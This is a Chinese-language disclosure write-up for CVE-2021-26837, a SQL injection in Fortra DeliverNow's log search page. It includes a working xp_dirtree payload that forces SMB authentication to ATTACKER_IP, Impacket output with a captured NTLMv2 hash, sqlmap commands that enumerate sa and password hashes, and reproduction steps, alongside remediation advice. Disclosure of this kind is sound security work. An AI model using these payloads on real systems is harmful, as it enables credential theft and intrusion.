HelpSystems / Fortra DeliverNow SQL 注入漏洞
DeliverNow 的日志搜索页面(/LogGrid.aspx)上的 SearchTextbox 参数被直接拼接到 SQL Server 查询中,没有参数化处理,也没有服务端验证。该应用还将由此产生的 SQL Server 解析器错误直接回显给用户,这正是该漏洞最初自我暴露的方式。
数据库连接以 sa 身份运行,因此该注入继承了实例上的完全 sysadmin 权限。这足以对攻击者控制的 UNC 路径调用 master.dbo.xp_dirtree,并强制 SQL Server 服务账户向外进行身份验证。
在一次内部渗透测试中发现。厂商已在 DeliverNow 1.2.18 中修复,并以 CVE-2021-26837 编号发布。
由 Show Up Show Out Security 的 Sedric Louissaint 发现并报告。
| CVE | CVE-2021-26837 |
| 产品 | DeliverNow(HelpSystems,现为 Fortra) |
| 受影响版本 | 1.2.18 之前(原始公告列为 1.2.18 及更早版本) |
| 弱点 | CWE-89:SQL 注入 |
| CVSS 3.1(NVD) | 9.8 严重 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2(研究人员) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| 发布时间 | 2023-09-19 |
| 测试环境 | Windows Server 2019 Datacenter 10.0 (x64)、SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64) |
NVD 描述:
Fortra(原 HelpSystems)DeliverNow 1.2.18 之前版本中的 SearchTextBox 参数存在 SQL 注入漏洞,允许攻击者执行任意代码、提升权限并获取敏感信息。
POST /LogGrid.aspx,请求体参数 SearchTextbox。该表单是应用程序 Log(日志)视图中的搜索控件。ddlFieldName 选择要搜索的列(下面的请求中为 Description),SearchTextbox 承载搜索词。
一个单引号就足以证明:
blah'
响应将 SQL Server 解析器错误直接渲染在页面中:
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

这种错误信息泄露本身就是一个独立的发现。它将原本的盲注转变为完全交互式的注入。
由于连接以 sa 身份运行,因此可以调用 master.dbo.xp_dirtree。将其指向你控制的主机上的 UNC 路径,即可使 SQL Server 服务账户通过 SMB 向该主机进行出站身份验证:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

完整请求见 poc/exploited-request.http,载荷见 poc/payloads.sql。

在 Impacket 的 smbserver.py 监听下,目标的 SQL Server 服务账户完成身份验证并泄露了一个 NTLMv2 哈希:
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

该哈希随后可用于离线破解,或用于对其他主机进行 NTLM 中继。
sqlmap 确认了注入点和权限级别:
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

sa 意味着实例上的每个登录哈希都可读取,而 xp_cmdshell 只需一次 sp_configure 调用即可在主机上执行命令。
针对你拥有或获授权测试的实验室实例:
http://<host>:1080/)并打开 Log(日志)视图。blah' 并提交。存在漏洞的版本会在页面中渲染出 SQL Server 解析器错误。sudo smbserver.py c . -smb2support
poc/payloads.sql 中的 xp_dirtree 载荷,并替换为你自己的 IP。存在漏洞的版本会产生来自 SQL Server 服务账户的入站 SMB 身份验证。sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
poc/
payloads.sql Detection and out-of-band payloads for SearchTextbox
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations and expected output
media/
01-sql-error-in-log-search.png
02-xp-dirtree-payload-in-searchtextbox.png
03-forced-auth-captured-impacket.png
04-sqlmap-sa-enumeration.png
05-exploited-http-request.png
截图中的主机和哈希来自最初的渗透测试项目,早已失效。复现时请替换为你自己的监听地址。
sa 身份连接。 应用程序只需要对其自身表的读写访问权限。它不需要 sysadmin,也不需要 xp_dirtree。最小权限原则无法阻止注入,但可以控制其影响范围。厂商已在 DeliverNow 1.2.18 中修复。请升级。
| 日期 | 事件 |
|---|---|
| 2021 | 在一次内部渗透测试中发现并报告给 HelpSystems |
| 2021 | 在 DeliverNow 1.2.18 中修复 |
| 2023-09-19 | CVE-2021-26837 发布至 NVD,评分为 9.8 严重 |
本文在厂商完成修复后发布,仅供防御和教育用途。文中的载荷针对的是多年前已修补的版本。请勿在你不拥有或未获书面授权测试的系统上运行这些载荷。